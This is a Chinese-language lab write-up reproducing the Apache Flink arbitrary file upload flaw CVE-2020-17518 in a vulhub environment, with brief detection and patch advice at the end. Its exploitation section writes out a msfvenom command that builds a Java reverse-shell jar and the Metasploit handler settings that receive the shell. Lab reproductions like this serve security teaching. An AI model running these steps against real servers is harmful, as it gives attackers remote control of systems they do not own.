CVE-2020-17518 flink任意文件上传漏洞复现

  1. 漏洞描述

Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。

编号:CVE-2020-17518

Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。

  1. 影响范围

Apache Flink 1.5.1 ~ 1.11.2

  1. 漏洞复现

本次使用的环境以及对应的ip:

vulhub_kali_linux : 192.168.157.139

kali_linux : 192.168.157.138

本机 : 192.168.3.111

3.1漏洞挖掘

启动vulhub_kali_linux

进入vulhub靶场已经给CVE-2020-17518搭建好的环境

cd vulhub/flink/CVE-2020-17518

使用docker启动flink环境

这一步需要root权限,如果没有可以使用命令登录

sudo su root
CVE-2020-17518 flink任意文件上传漏洞复现_第1张图片
docker-compose up -d
CVE-2020-17518 flink任意文件上传漏洞复现_第2张图片

环境启动后,本机访问

http://192.168.157.139:8081
CVE-2020-17518 flink任意文件上传漏洞复现_第3张图片

上传任意文件,进行bp抓包

CVE-2020-17518 flink任意文件上传漏洞复现_第4张图片
CVE-2020-17518 flink任意文件上传漏洞复现_第5张图片

发送请求,发现报错,报错信息 提示只能上传.jar后缀名

CVE-2020-17518 flink任意文件上传漏洞复现_第6张图片

在filename字段值修改为jar后缀名 ,发送请求,回显的状态码200以及参数说明上传成功

CVE-2020-17518 flink任意文件上传漏洞复现_第7张图片

回显的信息发现上传文件的位置:

/tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload

在vulhub_kali_linux环境输入命令,进入flink容器中,遍历文件上传位置

docker ps
docker exec -it 3d0fafb6bb6e /bin/bash
ls /tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload
CVE-2020-17518 flink任意文件上传漏洞复现_第8张图片

发现文件上传成功

3.2漏洞利用

启动kali_linux

打开flink页面

CVE-2020-17518 flink任意文件上传漏洞复现_第9张图片

使用kali的msfvenom工具,生成文件的目录自定义

lhost为kali_linux的IP地址   lport为kali_linux的端口  >后面为文件路径以及文件名

msfvenom -p java/shell_reverse_tcp lhost=192.168.157.138 lport=1314 -f jar >/home/xiaoya/桌面/2.jar

在桌面上生成2.jar

CVE-2020-17518 flink任意文件上传漏洞复现_第10张图片

启动msf监听

msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.138
# 设置监听端口
set lport 1314
# 执行
run
CVE-2020-17518 flink任意文件上传漏洞复现_第11张图片

上传文件

CVE-2020-17518 flink任意文件上传漏洞复现_第12张图片
CVE-2020-17518 flink任意文件上传漏洞复现_第13张图片

获取反弹的shell

点击Submit后,稍微等一下,msf就可以监听到靶机反弹的shell

CVE-2020-17518 flink任意文件上传漏洞复现_第14张图片

现在获取了靶机的权限,可以执行进一步的操作(就相当于自己电脑使用了)

CVE-2020-17518 flink任意文件上传漏洞复现_第15张图片
  1. 漏洞检测

可以通过分析apache日志来检测攻击

  1. 漏洞修复

官方已发布安全版本,请及时下载升级至安全版本。

  • https://flink.apache.org/zh/downloads.html

你可能感兴趣的:(flink,网络安全)